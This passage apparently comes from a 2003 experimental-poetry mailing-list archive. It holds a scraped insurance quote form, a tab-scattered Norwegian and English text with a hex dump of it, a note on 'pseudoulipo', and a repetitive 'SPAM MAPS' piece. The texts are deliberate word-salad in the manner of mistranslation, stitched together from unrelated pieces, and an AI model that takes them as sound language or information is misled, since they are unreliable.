Love\n\nLove\n\n\nBirthdate:\n|JanFebMarAprMayJunJulAugSepOctNovDec123\n4567891011121314151617181920212223242526\n2\n7282930311938193919401941194219431944194\n5194619471948194919501951195219531954195\n5195619571958195919601961196219631964196\n5196619671968196919701971197219731974197\n5197619771978197919801981198219831984198\n5198619871988198919901991199219931994199\n5\n\nGender: |\nMale Female\n\nDo you Smoke? |\nNo Yes\n\nCoverage:$50,000$60,000$70,000$75,000$80\n,000$90,000$100,000$125,000$150,000$175,\n000$200,0\n00$225,000$250,000$275,000$300,000$325,0\n00$350,000$375,000$400,000$425,000$450,0\n00$475,000$500,000$600,000$650,000$700,0\n00$750,000$800,000$850,000$900,000$950,0\n00$1,000,000$1,100,000$1,200,000$1,250,0\n00$1,300,000$1,400,000$1,500,000$1,750,0\n00$2,000,000$2,500,000$3,000,000$4,000,0\n00$5,000,000\n\nHealth Class: 1. Perfect Health2. Prefer\nred Health3. Standard Health4. Bad Healt\nh5. Dead or Dying\n\n\n===\n\n\n\n\nFrom: =?windows-1252?Q?Bj=F8rn=20Magnhild=F8en?= <magh {AT} chello.no>\nSubject: thextyle\nDate: Mon, 20 Jan 2003 17:57:59 +0100\n\nnteressert\t \t \t \t \t \t i.\t \t \t \t \t \t Det\n\t \t \t \t nteressert\t \t \t \t \t \t i.\t \t \n\t \t \t \t Det\t \t \t \t \t \t er\t \t \t \n\t \t \t en\t \t \t \t \t \t medlidenhet\t \t \t \n\t \t \t etterp\u013a\t \t \t \t \t \t fakta\t \t \t \n\t \t \t b\u0159r\t \t \t \t \t \t g\u013ar\t \t \t \t \n\t \t et\t \t \t \t \t \t til\t \t \t \t \t \n\t ankomst\t \t \t \t \t \t frem\t \t \t \t \t \n\t p\u013a\t \t \t \t \t \t et\t \t \t \t \t \n\t svar\t \t \t \t \t \t i\t \t \t \t \t \t og\n\t \t \t \t \t \t sammen\t \t \t \t \t \t med\n\t \t \t \t \t \t at\t \t \t \t \t \t fakta\t \n\t \t \t \t \t allerede\t \t \t \t \t \t stenger\n\t \t \t \t \t \t endelig\t \t \t \t \t \n\t arbeid\t \t \t \t \t \t i\t \t \t \t \t \n\t plnteressert\t \t \t \t \t \t i.\t \t \t \t \t \n\t Det\t \t \t \t nteressert\t \t \t \t \t \t i.\t \n\t \t \t \t \t Det\t \t \t \t \t \t er\t \t \n\t \t \t \t en\t \t \t \t \t \t medlidenhet\t \t \n\t \t \t \t etterp\u013a\t \t \t \t \t \t fakta\t \t \n\t \t \t \t b\u0159r\t \t \t \t \t \t g\u013ar\t \t \t \n\t \t \t et\t \t \t \t \t \t til\t \t \t \t \n\t \t ankomst\t \t \t \t \t \t frem\t \t \t \t \n\t \t p\u013a\t \t \t \t \t \t et\t \t \t \t \t \n\t svar\t \t \t \t \t \t i\t \t \t \t \t \t og\n\t \t \t \t \t \t sammen\t \t \t \t \t \t med\n\t \t \t \t \t \t at\t \t \t \t \t \t fakta\t \n\t \t \t \t \t allerede\t \t \t \t \t \t stenger\n\t \t \t \t \t \t endelig\t \t \t \t \t \n\t arbeid\t \t \t \t \t \t i\t \t \t \t \t \n\t plan.\t \t \t \t \t \t Hva\t \t \t \t \t \n\t hennes\t \t \t \t \t \t fremstilling\t \t \t \t \n\t \t drar\t \t \t \t \t \t edged\t \t \t \t \t \n\t p\u013a\t \t \t \t \t \t forfededre\t \t \t \t \t \n\t I\t \t \t \t \t \t ingen,\t \t \t \t \t \n\t kopi\t \t \t \t \t \t har\t \t \t \t \t \t I\n\t \t \t \t \t \t ingen\t \t \t \t \t \t f\u013att\t \n\t \t \t \t \t materie.\t \t \t \t \t \t S\u013a\t \n\t \t \t \t \t der\t \t \t \t \t \n\t posisjonsutgivelse\t \t \t \t \t \t for\t \t \t \t \n\t \t interessert\t \t \t \t \t \t gruvedrift,\t \t \t \n\t \t \t plan\t \t \t \t \t \t er\t \t \t \t \n\t \t seg\t \t \t \t \t \t selv\t \t \t \t \t \n\t en\t \t \t \t \t \t typer\t \t \t \t \t \n\t apparition,\t \t \t \t \t \t kan\t \t \t \t \t \n\t en\t \t \t \t \t \t interessant\t \t \t \t \t \n\t reise,\t \t \t \t \t \t men\t \t \t \t \t \n\t I\t \t \t \t \t \t h\u013ap\t \t \t \t \t \n\t slik\t \t \t \t \t \t ellers,\t \t \t \t \t \n\t og\t \t \t \t \t \t adlydelse\t \t \t \t \t \n\t av\t \t \t \t \t \t en\t \t \t \t \t \n\t dialog\t \t \t \t \t \t sammen\t \t \t \t \n\t \t med\t \t \t \t \t \t Very\t \t \t \t \t \n\t mye\t \t \t \t \t \t til\t \t \t \t \t \n\t punktet.\t \t \t \t \t \t om\t \t \t \t \t \n\t fakta\t \t \t \t \t \t drar\t \t \t \t \t \t et.\n\t \t \t \t \t \t Og\t \t \t \t \t \t om\t \n\t \t \t \t \t fakta\t \t \t \t \t \t er\t \t \n\t \t \t \t omtrent\t \t \t \t \t \t \"kommer\t \n\t \t \t \t \t fram\"\t \t \t \t \t \t \"g\u013a\t \t \n\t \t \t \t et\"\t \t \t \t \t \t ....\t \t \t \n\t \t \t S\u013a\t \t \t \t \t \t lang\t \t \t \t \n\t \t I\t \t \t \t \t \t ingen\t \t \t \t \t \n\t materie\t \t \t an.\t \t \t \t \t \t Hva\t \t \n\t \t \t \t hennes\t \t \t \t \t \t fremstilling\t \n\t \t \t \t \t drar\t \t \t \t \t \t edged\t \t \n\t \t \t \t p\u013a\t \t \t \t \t \t forfededre\t \t \n\t \t \t \t I\t \t \t \t \t \t ingen,\t \t \n\t \t \t \t kopi\t \t \t \t \t \t har\t \t \t \n\t \t \t I\t \t \t \t \t \t ingen\t \t \t \t \n\t \t f\u013att\t \t \t \t \t \t materie.\t \t \t \t \n\t \t S\u013a\t \t \t \t \t \t der\t \t \t \t \t \n\t posisjonsutgivelse\t \t \t \t \t \t for\t \t \t \t \n\t \t interessert\t \t \t \t \t \t gruvedrift,\t \t \t \n\t \t \t plan\t \t \t \t \t \t er\t \t \t \t \n\t \t seg\t \t \t \t \t \t selv\t \t \t \t \t \n\t en\t \t \t \t \t \t typer\t \t \t \t \t \n\t apparition,\t \t \t \t \t \t kan\t \t \t \t \t \n\t en\t \t \t \t \t \t interessant\t \t \t \t \t \n\t reise,\t \t \t \t \t \t men\t \t \t \t \t \n\t I\t \t \t \t \t \t h\u013ap\t \t \t \t \t \n\t slik\t \t \t \t \t \t ellers,\t \t \t \t \t \n\t og\t \t \t \t \t \t adlydelse\t \t \t \t \t \n\t av\t \t \t \t \t \t en\t \t \t \t \t \n\t dialog\t \t \t \t \t \t sammen\t \t \t \t \n\t \t med\t \t \t \t \t \t Very\t \t \t \t \t \n\t mye\t \t \t \t \t \t til\t \t \t \t \t \n\t punktet.\t \t \t \t \t \t om\t \t \t \t \t \n\t fakta\t \t \t \t \t \t drar\t \t \t \t \t \t et.\n\t \t \t \t \t \t Og\t \t \t \t \t \t om\t \n\t \t \t \t \t fakta\t \t \t \t \t \t er\t \t \n\t \t \t \t omtrent\t \t \t \t \t \t \"kommer\t \n\t \t \t \t \t fram\"\t \t \t \t \t \t \"g\u013a\t \t \n\t \t \t \t et\"\t \t \t \t \t \t ....\t \t \t \n\t \t \t S\u013a\t \t \t \t \t \t lang\t \t \t \t \n\t \t I\t \t \t \t \t \t ingen\t \t \t \t \t \n\t materie\t \t \t \t \t \t vender\t \t \t \t \n\t \t mitt\n\nIt\t \t \t \t \t \t is\t \t \t \t \t \t a\t \n\t \t \t \t \t pity\t \t \t \t \t \t afterwards\t \n\t \t \t \t \t facts\t \t \t \t \t \t ought\t \t \n\t \t \t \t elapse\t \t \t \t \t \t an\t \t \n\t \t \t \t to\t \t \t \t \t \t advent\t \t \n\t \t \t \t forward\t \t \t \t \t \t at\t \t \n\t \t \t \t a\t \t \t \t \t \t answer\t \t \n\t \t \t \t in\t \t \t \t \t \t and\t \t \t \n\t \t \t along\t \t \t \t \t \t with\t \t \t \t \n\t \t that\t \t \t \t \t \t facts\t \t \t \t \t \n\t already\t \t \t \t \t \t am\t \t \t \t \t \n\t shut\t \t \t \t \t \t down\t \t \t \t \t \t at\n\t \t \t \t \t \t last\t \t \t \t \t \t work\t \n\t \t \t \t \t in\t \t \t \t \t \t plan.\t \t \n\t \t \t \t What\t \t \t \t \t \t her\t \t \t \n\t \t \t exposition\t \t \t \t \t \t goes\t \t \t \n\t \t \t edged\t \t \t \t \t \t at\t \t \t \t \n\t \t ancestors\t \t \t \t \t \t I\t \t \t \t \n\t \t nobody,\t \t \t \t \t \t copy\t \t \t \t \n\t \t have\t \t \t \t \t \t I\t \t \t \t \t \n\t no\t \t \t \t \t \t matter\t \t \t \t \t \n\t gotten.\t \t \t \t \t \t Saw\t \t \t \t \t \n\t there\t \t \t \t \t \t stand\t \t \t \t \t \n\t issue\t \t \t \t \t \t for\t \t \t \t \t \n\t mine\t \t \t \t \t \t concerned,\t \t \t \t \t \n\t plan\t \t \t \t \t \t am\t \t \t \t \t \n\t herself\t \t \t \t \t \t a\t \t \t \t \t \n\t kinds\t \t \t \t \t \t apparition,\t \t \t \t \t \n\t a\t \t \t \t \t \t interesting\t \t \t \t \t \n\t journey\t \t \t \t \n\n\n00000670h:\t73\t2C\t09\t20\t09\t20\t09\t20\t09\t20\t09\t20\n\t09\t20\t6F\t67\t;\ts,.\t.\t.\t.\t.\t.\tog\n00000680h:\t09\t20\t09\t20\t09\t20\t09\t20\t09\t20\t09\t20\n\t61\t64\t6C\t79\t;\t.\t.\t.\t.\t.\t.\tadly\n00000690h:\t64\t65\t6C\t73\t65\t09\t20\t09\t20\t09\t20\t09\n\t20\t09\t20\t09\t;\tdelse.\t.\t.\t.\t.\t.\n000006a0h:\t20\t61\t76\t09\t20\t09\t20\t09\t20\t09\t20\t09\n\t20\t09\t20\t65\t;\t\tav.\t.\t.\t.\t.\t.\te\n000006b0h:\t6E\t09\t20\t09\t20\t09\t20\t09\t20\t09\t20\t09\n\t20\t64\t69\t61\t;\tn.\t.\t.\t.\t.\t.\tdia\n000006c0h:\t6C\t6F\t67\t09\t20\t09\t20\t09\t20\t09\t20\t09\n\t20\t09\t20\t73\t;\tlog.\t.\t.\t.\t.\t.\ts\n000006d0h:\t61\t6D\t6D\t65\t6E\t09\t20\t09\t20\t09\t20\t09\n\t20\t09\t20\t09\t;\tammen.\t.\t.\t.\t.\t.\n000006e0h:\t20\t6D\t65\t64\t09\t20\t09\t20\t09\t20\t09\t20\n\t09\t20\t09\t20\t;\t\tmed.\t.\t.\t.\t.\t.\t\n000006f0h:\t56\t65\t72\t79\t09\t20\t09\t20\t09\t20\t09\t20\n\t09\t20\t09\t20\t;\tVery.\t.\t.\t.\t.\t.\t\n00000700h:\t6D\t79\t65\t09\t20\t09\t20\t09\t20\t09\t20\t09\n\t20\t09\t20\t74\t;\tmye.\t.\t.\t.\t.\t.\tt\n00000710h:\t69\t6C\t09\t20\t09\t20\t09\t20\t09\t20\t09\t20\n\t09\t20\t70\t75\t;\til.\t.\t.\t.\t.\t.\tpu\n00000720h:\t6E\t6B\t74\t65\t74\t2E\t09\t20\t09\t20\t09\t20\n\t09\t20\t09\t20\t;\tnktet..\t.\t.\t.\t.\t\n00000730h:\t09\t20\t6F\t6D\t09\t20\t09\t20\t09\t20\t09\t20\n\t09\t20\t09\t20\t;\t.\tom.\t.\t.\t.\t.\t.\t\n00000740h:\t66\t61\t6B\t74\t61\t09\t20\t09\t20\t09\t20\t09\n\t20\t09\t20\t09\t;\tfakta.\t.\t.\t.\t.\t.\n00000750h:\t20\t64\t72\t61\t72\t09\t20\t09\t20\t09\t20\t09\n\t20\t09\t20\t09\t;\t\tdrar.\t.\t.\t.\t.\t.\n00000760h:\t20\t65\t74\t2E\t09\t20\t09\t20\t09\t20\t09\t20\n\t09\t20\t09\t20\t;\t\tet..\t.\t.\t.\t.\t.\t\n00000770h:\t4F\t67\t09\t20\t09\t20\t09\t20\t09\t20\t09\t20\n\t09\t20\t6F\t6D\t;\tOg.\t.\t.\t.\t.\t.\tom\n00000780h:\t09\t20\t09\t20\t09\t20\t09\t20\t09\t20\t09\t20\n\t66\t61\t6B\t74\t;\t.\t.\t.\t.\t.\t.\tfakt\n00000790h:\t61\t09\t20\t09\t20\t09\t20\t09\t20\t09\t20\t09\n\t20\t65\t72\t09\t;\ta.\t.\t.\t.\t.\t.\ter.\n000007a0h:\t20\t09\t20\t09\t20\t09\t20\t09\t20\t09\t20\t6F\n\t6D\t74\t72\t\n\n65\t;\t\t.\t.\t.\t.\t.\tomtre\n000007b0h:\t6E\t74\t09\t20\t09\t20\t09\t20\t09\t20\t09\t20\n\t09\t20\t22\t6B\t;\tnt.\t.\t.\t.\t.\t.\t\"k\n000007c0h:\t6F\t6D\t6D\t65\t72\t09\t20\t09\t20\t09\t20\t09\n\t20\t09\t20\t09\t;\tommer.\t.\t.\t.\t.\t.\n000007d0h:\t20\t66\t72\t61\t6D\t22\t09\t20\t09\t20\t09\t20\n\t09\t20\t09\t20\t;\t\tfram\".\t.\t.\t.\t.\t\n000007e0h:\t09\t20\t22\t67\tE5\t09\t20\t09\t20\t09\t20\t09\n\t20\t09\t20\t09\t;\t.\t\"g\u013a.\t.\t.\t.\t.\t.\n000007f0h:\t20\t65\t74\t22\t09\t20\t09\t20\t09\t20\t09\t20\n\t09\t20\t09\t20\t;\t\tet\".\t.\t.\t.\t.\t.\t\n00000800h:\t2E\t2E\t2E\t2E\t09\t20\t09\t20\t09\t20\t09\t20\n\t09\t20\t09\t20\t;\t.....\t.\t.\t.\t.\t.\t\n00000810h:\t53\tE5\t09\t20\t09\t20\t09\t20\t\n\n\n09\t20\t09\t20\t09\t20\t6C\t61\t;\tS\u013a.\t.\t.\t.\t.\n\t.\tla\n00000820h:\t6E\t67\t09\t20\t09\t20\t09\t20\t09\t20\t09\t20\n\t09\t20\t49\t09\t;\tng.\t.\t.\t.\t.\t.\tI.\n00000830h:\t20\t09\t20\t09\t20\t09\t20\t09\t20\t09\t20\t69\n\t6E\t67\t65\t6E\t;\t\t.\t.\t.\t.\t.\tingen\n00000840h:\t09\t20\t09\t20\t09\t20\t09\t20\t09\t20\t09\t20\n\t6D\t61\t74\t65\t;\t.\t.\t.\t.\t.\t.\tmate\n00000850h:\t72\t69\t65\t09\t20\t09\t20\t09\t20\t61\t6E\t2E\n\t09\t20\t09\t20\t;\trie.\t.\t.\tan..\t.\t\n00000860h:\t09\t20\t09\t20\t09\t20\t09\t20\t48\t76\t61\t09\n\t20\t09\t20\t09\t;\t.\t.\t.\t.\tHva.\t.\t.\n00000870h:\t20\t09\t20\t09\t20\t09\t20\t68\t65\t6E\t6E\t65\n\t73\t09\t20\t09\t;\t\t.\t.\t.\thennes.\t.\n00000880h:\t20\t09\t20\t09\t20\t09\t20\t09\t20\t66\t72\t65\n\t6D\t73\t74\t69\t;\t\t.\t.\t.\t.\tfremsti\n00000890h:\t6C\t6C\t69\t6E\t67\t09\t20\t09\t20\t09\t20\t09\n\t20\t09\t20\t09\t;\tlling.\t.\t.\t.\t.\t.\n000008a0h:\t20\t64\t72\t61\t72\t09\t20\t09\t20\t09\t20\t09\n\t20\t09\t20\t09\t;\t\tdrar.\t.\t.\t.\t.\t.\n\n\n\n\t\t\t\tmay,\t\t\t\t\t\t\t\t\t\n\t\t\tbut\t\t\t\t\t\t\t\t\t\t\n\t\tI\t\t\t\t\t\t\t\t\t\t\t\n\thope\t\t\t\t\t\t\t\t\t\t\t\tso\n\t\t\t\t\t\t\t\t\t\t\t\tcan\t\n\t\t\t\t\t\t\t\t\t\t\tbe\t\t\n\t\t\t\t\t\t\t\t\t\tanything\t\t\n\t\t\t\t\t\t\t\t\t\telse,\t\t\t\n\t\t\t\t\t\t\t\t\tand\t\t\t\t\n\t\t\t\t\t\t\t\tabiding\t\t\t\t\n\t\t\t\t\t\t\t\ta\t\t\t\t\t\n\t\t\t\t\t\t\tdialog\t\t\t\t\t\t\n\t\t\t\t\t\talong\t\t\t\t\t\t\t\n\t\t\t\t\twith\t\t\t\t\t\t\t\t\n\t\t\t\tVery\t\t\t\t\t\t\t\t\t\n\t\t\tmuch\t\t\t\t\t\t\t\t\t\t\n\t\tto\t\t\t\t\t\t\t\t\t\t\t\n\tthe\t\t\t\t\t\t\t\t\t\t\t\n\tpoint.\t\t\t\t\t\t\t\t\t\t\t\n\tabout\t\t\t\t\t\t\t\t\t\t\t\n\tfacts\t\t\t\t\t\t\t\t\t\t\t\tgoes\n\t\t\t\t\t\t\t\t\t\t\t\tan.\t\n\t\t\t\t\t\t\t\t\t\t\tAnd\t\t\n\t\t\t\t\t\t\t\t\t\tabout\t\t\t\n\t\t\t\t\t\t\t\t\tfacts\t\t\t\t\n\t\t\t\t\t\t\t\tdo\t\t\t\t\t\n\t\t\t\t\t\t\tbe\t\t\t\t\t\t\n\t\t\t\t\t\tabout\t\t\t\t\t\t\t\n\t\t\t\t\t\"appear\"\t\t\t\t\t\t\t\n\t\t\t\t\tto\t\t\t\t\t\t\t\t\n\t\t\t\t\"elapse\t\t\t\t\t\t\t\t\n\t\t\t\tan\"....\t\t\t\t\t\t\t\t\n\t\t\t\tSaw\t\t\t\t\t\t\t\t\t\n\t\t\tlong\t\t\t\t\t\t\t\t\t\t\n\t\tI\t\t\t\t\t\t\t\t\t\t\t\n\tno\t\t\t\t\t\t\t\t\t\t\t\n\tmatter\t\t\t\t\t\t\t\t\t\t\t\n\tturns\t\t\t\t\t\t\t\t\t\t\t\tmy\n\n\t\t\t\ter\t\t\t\t\t\t\t\t\t\n\t\t\ten\t\t\t\t\t\t\t\t\t\t\n\t\tmedlidenhet\t\t\t\t\t\t\t\t\t\t\n\t\tetterp\u013a\t\t\t\t\t\t\t\t\t\t\n\t\tfakta\t\t\t\t\t\t\t\t\t\t\t\n\tb\u0159r\t\t\t\t\t\t\t\t\t\t\t\tg\u013ar\n\t\t\t\t\t\t\t\t\t\t\t\tet\t\n\t\t\t\t\t\t\t\t\t\t\ttil\t\t\n\t\t\t\t\t\t\t\t\t\tankomst\t\t\n\t\t\t\t\t\t\t\t\t\tfrem\t\t\t\n\t\t\t\t\t\t\t\t\tp\u013a\t\t\t\t\n\t\t\t\t\t\t\t\tet\t\t\t\t\t\n\t\t\t\t\t\t\tsvar\t\t\t\t\t\t\n\t\t\t\t\t\ti\t\t\t\t\t\t\t\n\t\t\t\t\tog\t\t\t\t\t\t\t\t\n\t\t\t\tsammen\t\t\t\t\t\t\t\t\t\n\t\t\tmed\t\t\t\t\t\t\t\t\t\t\n\t\tat\t\t\t\t\t\t\t\t\t\t\t\n\tfakta\t\t\t\t\t\t\t\t\t\t\t\n\tallerede\t\t\t\t\t\t\t\t\t\t\t\n\tstenger\t\t\t\t\t\t\t\t\t\t\t\n\tendelig\t\t\t\t\t\t\t\t\t\t\t\n\tarbeid\t\t\t\t\t\t\t\t\t\t\t\ti\n\t\t\t\t\t\t\t\t\t\t\t\tplan.\t\n\t\t\t\t\t\t\t\t\t\t\tHva\t\t\n\t\t\t\t\t\t\t\t\t\thennes\t\t\t\n\t\t\t\t\t\t\t\t\tfremstilling\t\t\t\n\t\t\t\t\t\t\t\t\tdrar\t\t\t\t\n\t\t\t\t\t\t\t\tedged\t\t\t\t\t\n\t\t\t\t\t\t\tp\u013a\t\t\t\t\t\t\n\t\t\t\t\t\tforfededre\t\t\t\t\t\t\n\t\t\t\t\t\tI\t\t\t\t\t\t\t\n\t\t\t\t\tingen,\t\t\t\t\t\t\t\t\n\t\t\t\tkopi\t\t\t\t\t\t\t\t\t\n\t\t\thar\t\t\t\t\t\t\t\t\t\t\n\t\tI\t\t\t\t\t\t\t\t\t\t\t\n\tingen\t\t\t\t\t\t\t\t\t\t\t\tf\u013att\n\t\t\t\t\t\t\t\t\t\t\t\tmaterie.\n\t\t\t\t\t\t\t\t\t\t\t\tS\u013a\t\n\t\t\t\t\t\t\t\t\t\t\tder\t\t\n\t\t\t\t\t\t\t\t\t\tposisjonsutgivelse\t\n\t\t\t\t\t\t\t\t\t\t\tfor\t\t\n\t\t\t\t\t\t\t\t\t\tinteressert\t\t\n\t\t\t\t\t\t\t\t\t\tgruvedrift,\t\t\n\t\t\t\t\t\t\t\t\t\tplan\t\t\t\n\t\t\t\t\t\t\t\t\ter\t\t\t\t\n\t\t\t\t\t\t\t\tseg\t\t\t\t\t\n\t\t\t\t\t\t\tselv\t\t\t\t\t\t\n\t\t\t\t\t\ten\t\t\t\t\t\t\t\n\t\t\t\t\ttyper\t\t\t\t\t\t\t\t\n\t\t\t\tapparition,\t\t\t\t\t\t\t\t\n\t\t\t\tkan\t\t\t\t\t\t\t\t\t\n\t\t\ten\t\t\t\t\t\t\t\t\t\t\n\t\tinteressant\t\t\t\t\t\t\t\t\t\t\n\t\treise,\t\t\t\t\t\t\t\t\t\t\t\n\tmen\t\t\t\t\t\t\t\t\t\t\t\tI\n\t\t\t\t\t\t\t\t\t\t\t\th\u013ap\t\n\t\t\t\t\t\t\t\t\t\t\tslik\t\t\n\t\t\t\t\t\t\t\t\t\tellers,\t\t\n\t\t\t\t\t\t\t\t\t\tog\t\t\t\n\t\t\t\t\t\t\t\t\tadlydelse\t\t\t\n\t\t\t\t\t\t\t\t\tav\t\t\t\t\n\t\t\t\t\t\t\t\ten\t\t\t\t\t\n\t\t\t\t\t\t\tdialog\t\t\t\t\t\t\n\t\t\t\t\t\tsammen\t\t\t\t\t\t\t\n\t\t\t\t\tmed\t\t\t\t\t\t\t\t\n\t\t\t\tVery\t\t\t\t\t\t\t\t\t\n\t\t\tmye\t\t\t\t\t\t\t\t\t\t\n\t\ttil\t\t\t\t\t\t\t\t\t\t\t\n\tpunktet.\t\t\t\t\t\t\t\t\t\t\t\n\tom\t\t\t\t\t\t\t\t\t\t\t\n\tfakta\t\t\t\t\t\t\t\t\t\t\t\tdrar\n\t\t\t\t\t\t\t\t\t\t\t\tet.\t\n\t\t\t\t\t\t\t\t\t\t\tOg\t\t\n\t\t\t\t\t\t\t\t\t\tom\t\t\t\n\t\t\t\t\t\t\t\t\tfakta\t\t\t\t\n\t\t\t\t\t\t\t\ter\t\t\t\t\t\n\t\t\t\t\t\t\tomtrent\t\t\t\t\t\n\t\t\t\t\t\t\t\"kommer\t\t\t\t\t\n\t\t\t\t\t\t\tfram\"\t\t\t\t\t\t\n\t\t\t\t\t\t\"g\u013a\t\t\t\t\t\t\t\n\t\t\t\t\tet\"\t\t\t\t\t\t\t\t\n\t\t\t\t....\t\t\t\t\t\t\t\t\t\n\t\t\tS\u013a\t\t\t\t\t\t\t\t\t\t\n\t\tlang\t\t\t\t\t\t\t\t\t\t\t\n\tI\t\t\t\t\t\t\t\t\t\t\t\n\tingen\t\t\t\t\t\t\t\t\t\t\t\n\tmaterie\t\t\t\t\t\t\t\t\t\t\t\n\tvender\t\t\t\t\t\t\t\t\t\t\t\tmitt\n\nIt\t\t\t\t\t\t\t\t\t\t\t\tis\t\n\t\t\t\t\t\t\t\t\t\t\ta\t\t\n\t\t\t\t\t\t\t\t\t\tpity\t\t\t\n\t\t\t\t\t\t\t\t\tafterwards\t\t\t\n\t\t\t\t\t\t\t\t\tfacts\t\t\t\t\n\t\t\t\t\t\t\t\tought\t\t\t\t\t\n\t\t\t\t\t\t\telapse\t\t\t\t\t\t\n\t\t\t\t\t\tan\t\t\t\t\t\t\t\n\t\t\t\t\tto\t\t\t\t\t\t\t\t\n\t\t\t\tadvent\t\t\t\t\t\t\t\t\t\n\t\t\tforward\t\t\t\t\t\t\t\t\t\n\t\t\tat\t\t\t\t\t\t\t\t\t\t\n\t\ta\t\t\t\t\t\t\t\t\t\t\t\n\tanswer\t\t\t\t\t\t\t\t\t\t\t\tin\n\t\t\t\t\t\t\t\t\t\t\t\tand\t\n\t\t\t\t\t\t\t\t\t\t\talong\t\t\n\t\t\t\t\t\t\t\t\t\twith\t\t\t\n\t\t\t\t\t\t\t\t\tthat\t\t\t\t\n\t\t\t\t\t\t\t\tfacts\t\t\t\t\t\n\t\t\t\t\t\t\talready\t\t\t\t\t\n\t\t\t\t\t\t\tam\t\t\t\t\t\t\n\t\t\t\t\t\tshut\t\t\t\t\t\t\t\n\t\t\t\t\tdown\t\t\t\t\t\t\t\t\n\t\t\t\tat\t\t\t\t\t\t\t\t\t\n\t\t\tlast\t\t\t\t\t\t\t\t\t\t\n\t\twork\t\t\t\t\t\t\t\t\t\t\t\n\tin\t\t\t\t\t\t\t\t\t\t\t\n\tplan.\t\t\t\t\t\t\t\t\t\t\t\tWhat\n\t\t\t\t\t\t\t\t\t\t\t\ther\t\n\t\t\t\t\t\t\t\t\t\t\texposition\t\n\t\t\t\t\t\t\t\t\t\t\tgoes\t\t\n\t\t\t\t\t\t\t\t\t\tedged\t\t\t\n\t\t\t\t\t\t\t\t\tat\t\t\t\t\n\t\t\t\t\t\t\t\tancestors\t\t\t\t\n\t\t\t\t\t\t\t\tI\t\t\t\t\t\n\t\t\t\t\t\t\tnobody,\t\t\t\t\t\n\t\t\t\t\t\t\tcopy\t\t\t\t\t\t\n\t\t\t\t\t\thave\t\t\t\t\t\t\t\n\t\t\t\t\tI\t\t\t\t\t\t\t\t\n\t\t\t\tno\t\t\t\t\t\t\t\t\t\n\t\t\tmatter\t\t\t\t\t\t\t\t\t\t\n\t\tgotten.\t\t\t\t\t\t\t\t\t\t\n\t\tSaw\t\t\t\t\t\t\t\t\t\t\t\n\tthere\t\t\t\t\t\t\t\t\t\t\t\n\tstand\t\t\t\t\t\t\t\t\t\t\t\n\tissue\t\t\t\t\t\t\t\t\t\t\t\tfor\n\t\t\t\t\t\t\t\t\t\t\t\tmine\t\n\t\t\t\t\t\t\t\t\t\t\tconcerned,\t\n\t\t\t\t\t\t\t\t\t\t\tplan\t\t\n\t\t\t\t\t\t\t\t\t\tam\t\t\t\n\t\t\t\t\t\t\t\t\therself\t\t\t\n\t\t\t\t\t\t\t\t\ta\t\t\t\t\n\t\t\t\t\t\t\t\tkinds\t\t\t\t\t\n\t\t\t\t\t\t\tapparition,\t\t\t\t\t\n\t\t\t\t\t\t\ta\t\t\t\t\t\t\n\t\t\t\t\t\tinteresting\t\t\t\t\t\t\n\t\t\t\t\t\tjourney\t\t\t\t\t\t\n\t\t\t\t\t\tmay,\t\t\t\t\t\t\t\n\t\t\t\t\tbut\t\t\t\t\t\t\t\t\n\t\t\t\tI\t\t\t\t\t\t\t\t\t\n\t\t\thope\t\t\t\t\t\t\t\t\t\t\n\t\tso\t\t\t\t\t\t\t\t\t\t\t\n\tcan\t\t\t\t\t\t\t\t\t\t\t\tbe\n\t\t\t\t\t\t\t\t\t\t\t\tanything\n\t\t\t\t\t\t\t\t\t\t\t\telse,\t\n\t\t\t\t\t\t\t\t\t\t\tand\t\t\n\t\t\t\t\t\t\t\t\t\tabiding\t\t\n\t\t\t\t\t\t\t\t\t\ta\t\t\t\n\t\t\t\t\t\t\t\t\tdialog\t\t\t\t\n\t\t\t\t\t\t\t\talong\t\t\t\t\t\n\t\t\t\t\t\t\twith\t\t\t\t\t\t\n\t\t\t\t\t\tVery\t\t\t\t\t\t\t\n\t\t\t\t\tmuch\t\t\t\t\t\t\t\t\n\t\t\t\tto\t\t\t\t\t\t\t\t\t\n\t\t\tthe\t\t\t\t\t\t\t\t\t\t\n\t\tpoint.\t\t\t\t\t\t\t\t\t\t\t\n\tabout\t\t\t\t\t\t\t\t\t\t\t\n\tfacts\t\t\t\t\t\t\t\t\t\t\t\tgoes\n\t\t\t\t\t\t\t\t\t\t\t\tan.\t\n\t\t\t\t\t\t\t\t\t\t\tAnd\t\t\n\t\t\t\t\t\t\t\t\t\tabout\t\t\t\n\t\t\t\t\t\t\t\t\tfacts\t\t\t\t\n\t\t\t\t\t\t\t\tdo\t\t\t\t\t\n\t\t\t\t\t\t\tbe\t\t\t\t\t\t\n\t\t\t\t\t\tabout\t\t\t\t\t\t\t\n\t\t\t\t\t\"appear\"\t\t\t\t\t\t\t\n\t\t\t\t\tto\t\t\t\t\t\t\t\t\n\t\t\t\t\"elapse\t\t\t\t\t\t\t\t\n\t\t\t\tan\"....\t\t\t\t\t\t\t\t\n\t\t\t\tSaw\t\t\t\t\t\t\t\t\t\n\t\t\tlong\t\t\t\t\t\t\t\t\t\t\n\t\tI\t\t\t\t\t\t\t\t\t\t\t\n\tno\t\t\t\t\t\t\t\t\t\t\t\n\tmatter\t\t\t\t\t\t\t\t\t\t\t\n\tturns\t\t\t\t\t\t\t\t\t\t\t\tmy\n\n\n\n--\nA genre pseudoulipo, eg. palindromes that only look like palindromes. As AM notes, there are \nspecial characteristics in syntax, which should be simulated in pseudoulipo. There should \nalso be a pseudoulipo group.\n\n\n\n\n\n\nDate:         Thu, 23 Jan 2003 02:17:40 -0800\nFrom: August Highland <hmfah {AT} HOTMAIL.COM>\nSubject: SPAM MAPS #0002 \"apologies for cross-pissing\"\n\nSPAM MAPS #0002\n\n\"apologies for cross-pissing\"\n\n\napologies for cross-pissing\n\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing 